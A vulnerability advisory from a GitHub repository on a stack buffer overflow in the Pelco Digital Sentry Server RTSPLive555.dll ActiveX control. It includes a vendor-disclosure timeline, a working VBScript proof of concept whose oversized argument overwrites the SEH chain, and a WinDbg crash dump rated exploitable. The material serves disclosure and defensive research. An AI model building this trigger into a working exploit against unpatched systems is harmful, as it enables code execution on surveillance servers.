Advisories / Pelco_Digital_Sentry_Server-RSTPLive555 Activex Buffer overflow.txt

vitorespf Add files via upload History

1 contributor

184 lines (158 sloc) | 8.59 KB

```
-----------------------------------------------------------------------------------------------------------
#  Pelco Digital Sentry Server - ActiveX Control RTSPLive555.dll Buffer Overflow
#
#  Vendor: Pelco
#  Product web page: https://www.pelco.com
#
# File:
# Affected version:  7.18.72.11464
#
#
#
#
# Vendor Description:
# ------------------
#  "At the core of Digital Sentry is DS NVS video management software, which offers flexibility in
#  system design. Whether your application demands optimized integrated hardware, like the Digital
#  Sentry DSSRV2 Server, or requires industry-standard server platforms, DS NVS gives you the power
#  to view live and recorded video, control cameras, export video, and much more. Because Digital Sentry
#  is based on an open architecture, DS NVS allows customers the freedom to choose the PC/server platform
#  and IP cameras that best fit their application. This ONVIF-conformant software is available for free
#  download and comes with four free IP licenses for Pelco or third-party IP cameras or encoders"
#
#
# Vulnerability overview:
# ----------------------
#
# The Digital Sentry Server's ActiveX control (RTSPLive555.dll)  suffers from buffer overflow
# This can be exploited by a remote attacker to potentially execute arbitrary attacker supplied code.
# User would have to visit a malicious webpage using Internet Explorer where the
# exploit could be triggered.
#
#
#

Timeline:
--------

03/09/2019 - The vulnerability was reported.
03/13/2019 - I asked for some update.
03/13/2019 - The Schneider Electric cybersecurity team informed me that the four vulnerabilities I reported
04/15/2019 - Pelco's cybersecurity team sent me two reports from the company itself (SEVD-2019-134-02)
             with the reserved CVE ID.

05/29/2019 - I was informed that Pelco was sold and that it would be in the process of divesting from Schneider Electric.

06/20/2019 -  They introduced me to Pelco's cybersecurity team, and transferred
              the vulnerabilities I found previously, and urgently requested detailed
              updates and the next steps.

07/02/2019 - I asked again about the disclosure dates on the vulnerabilities, they didn't
             give me a precise date.

07/18/2019 - They said that the notification of the vulnerabilities was with the product manager
             for approval, and that there would be a mention in my name for having discovered the
             vulnerabilities. However, this did not occur

10/23/2019 -  I asked for some update again.

10/23/2019 - Pelco's cybersecurity team responded that they had a disclosure target for October

02/10/2021 - I was informed the vulnerabilit was fixed with
             version 7.19.67. However, I did not receive the CVE for them.


Proof-of-concept:
----------------

<?XML version='1.0' standalone='yes' ?>
<package><job id='DoneInVBS' debug='false' error='true'>
<object classid='clsid:09D59BAB-8613-45E2-B550-2290D659A580' id='target' />
<script language='vbscript'>


targetFile = "C:\DigitalSentry\RTSPLive555.dll"
prototype  = "Sub SetCameraConnectionParameter ( ByVal connectString As String ,  ByVal username As String ,  ByVal password As String )"
memberName = "SetCameraConnectionParameter"
progid     = "RTSPLive555.CRtspLive555"
argCount   = 3
```

```

junkA = String(296, "A")
junkB = String(4, "B")
junkC = String(4, "C")
fill  = String(3204, "D")

arg1="test"
payload = junkA + junkB + junkC + fill
arg3="test"

target.SetCameraConnectionParameter arg1 ,payload ,arg3

</script></job></package>

Windbg Dump:
------------

Executable search path is:
ModLoad: 009e0000 00a07000   wscript.exe
ModLoad: 77c30000 77dc0000   ntdll.dll
ModLoad: 749d0000 74ab0000   C:\Windows\SysWOW64\KERNEL32.DLL
ModLoad: 75a60000 75c44000   C:\Windows\SysWOW64\KERNELBASE.dll
ModLoad: 746e0000 7479f000   C:\Windows\SysWOW64\msvcrt.dll
ModLoad: 75cc0000 75d56000   C:\Windows\SysWOW64\OLEAUT32.dll
ModLoad: 76100000 7617d000   C:\Windows\SysWOW64\msvcp_win.dll
ModLoad: 764d0000 765ee000   C:\Windows\SysWOW64\ucrtbase.dll
ModLoad: 75160000 753bc000   C:\Windows\SysWOW64\combase.dll
ModLoad: 77a20000 77ae0000   C:\Windows\SysWOW64\RPCRT4.dll
ModLoad: 744f0000 74510000   C:\Windows\SysWOW64\SspiCli.dll
ModLoad: 744e0000 744ea000   C:\Windows\SysWOW64\CRYPTBASE.dll
ModLoad: 75c60000 75cb8000   C:\Windows\SysWOW64\bcryptPrimitives.dll
ModLoad: 76260000 762a4000   C:\Windows\SysWOW64\sechost.dll
ModLoad: 747a0000 7492d000   C:\Windows\SysWOW64\USER32.dll
ModLoad: 761b0000 761c7000   C:\Windows\SysWOW64\win32u.dll
ModLoad: 76180000 761a2000   C:\Windows\SysWOW64\GDI32.dll
ModLoad: 758f0000 75a54000   C:\Windows\SysWOW64\gdi32full.dll
ModLoad: 76390000 7648c000   C:\Windows\SysWOW64\OLE32.dll
ModLoad: 779a0000 77a18000   C:\Windows\SysWOW64\ADVAPI32.dll
ModLoad: 72e50000 72e58000   c:\windows\SysWOW64\VERSION.dll
(33d0.370c): Break instruction exception - code 80000003 (first chance)
eax=00000000 ebx=00000000 ecx=dc690000 edx=00000000 esi=00377000 edi=77c3d714
eip=77cd7d39 esp=0019fa1c ebp=0019fa48 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
ntdll!LdrpDoDebuggerBreak+0x2b:
77cd7d39 cc              int     3
0:000> g
ModLoad: 764a0000 764c6000   C:\Windows\SysWOW64\IMM32.DLL
ModLoad: 75100000 7510f000   C:\Windows\SysWOW64\kernel.appcore.dll
ModLoad: 6b5d0000 6b64c000   C:\Windows\SysWOW64\uxtheme.dll
ModLoad: 71b20000 71ba6000   C:\Windows\SysWOW64\sxs.dll
ModLoad: 75fb0000 760f3000   C:\Windows\SysWOW64\MSCTF.dll
ModLoad: 6b5a0000 6b5c3000   C:\Windows\SysWOW64\dwmapi.dll
ModLoad: 64990000 64b2d000   C:\Windows\SysWOW64\urlmon.dll
ModLoad: 64760000 64988000   C:\Windows\SysWOW64\iertutil.dll
ModLoad: 02990000 02a18000   C:\Windows\SysWOW64\shcore.dll
ModLoad: 757f0000 75878000   C:\Windows\SysWOW64\shcore.dll
ModLoad: 74b40000 750fa000   C:\Windows\SysWOW64\windows.storage.dll
ModLoad: 74980000 749c5000   C:\Windows\SysWOW64\shlwapi.dll
ModLoad: 746c0000 746d8000   C:\Windows\SysWOW64\profapi.dll
ModLoad: 75110000 75155000   C:\Windows\SysWOW64\powrprof.dll
ModLoad: 76490000 76498000   C:\Windows\SysWOW64\FLTLIB.DLL
ModLoad: 74ab0000 74b33000   C:\Windows\SysWOW64\clbcatq.dll
ModLoad: 5d570000 5d5a6000   C:\Windows\SysWOW64\scrobj.dll
ModLoad: 5d550000 5d561000   C:\Windows\SysWOW64\WLDP.DLL
ModLoad: 74510000 746a6000   C:\Windows\SysWOW64\CRYPT32.dll
ModLoad: 75c50000 75c5e000   C:\Windows\SysWOW64\MSASN1.dll
ModLoad: 74930000 74977000   C:\Windows\SysWOW64\WINTRUST.dll
ModLoad: 72e90000 72ea3000   C:\Windows\SysWOW64\CRYPTSP.dll
ModLoad: 72e60000 72e8f000   C:\Windows\SysWOW64\rsaenh.dll
ModLoad: 73130000 73149000   c:\windows\SysWOW64\bcrypt.dll
ModLoad: 5d540000 5d54a000   C:\Windows\SysWOW64\MSISIP.DLL
ModLoad: 765f0000 76650000   C:\Windows\SysWOW64\coml2.dll
ModLoad: 5d520000 5d538000   C:\Windows\SysWOW64\wshext.dll
ModLoad: 76650000 7799a000   C:\Windows\SysWOW64\SHELL32.dll
ModLoad: 76330000 76369000   C:\Windows\SysWOW64\cfgmgr32.dll
ModLoad: 5d490000 5d516000   C:\Windows\SysWOW64\vbscript.dll
ModLoad: 5d480000 5d48f000   C:\Windows\SysWOW64\amsi.dll
ModLoad: 74420000 74441000   C:\Windows\SysWOW64\USERENV.dll
ModLoad: 5d460000 5d479000   C:\ProgramData\Microsoft\Windows Defender\platform\4.18.1812.3-0\X86\MpOav.dll
ModLoad: 5d410000 5d454000   c:\DigitalSentry\RTSPLive555.dll
ModLoad: 75880000 758e7000   C:\Windows\SysWOW64\WS2_32.dll
ModLoad: 5d380000 5d405000   C:\Windows\SysWOW64\MSVCP110.dll
ModLoad: 5d2a0000 5d376000   C:\Windows\SysWOW64\MSVCR110.dll
(33d0.370c): Security check failure or stack buffer overrun - code c0000409 (!!! second chance !!!)
*** WARNING: Unable to verify checksum for c:\DigitalSentry\RTSPLive555.dll
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for c:\DigitalSentry\RTSPLive555.dll -
eax=00000001 ebx=0075a99c ecx=00000002 edx=000001e0 esi=0019ebf0 edi=0019eb28
eip=5d434596 esp=0019e488 ebp=0019e7ac iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202
RTSPLive555!DllCanUnloadNow+0x20526:
5d434596 cd29            int     29h
0:000> !exchain
0019eb64: 43434343
Invalid exception stack at 42424242
0:000> !load winext/msec.dll
0:000> !exploitable

!exploitable 1.6.0.0
```

```
Exploitability Classification: EXPLOITABLE
Recommended Bug Title: Exploitable - Stack Buffer Overrun (/GS Exception) starting at RTSPLive555!DllCanUnloadNow+0x0000000000020526 (Hash=0x2ec0e367.0x1a1e2d40)

An overrun of a protected stack buffer has been detected. This is considered exploitable, and must be fixed.
```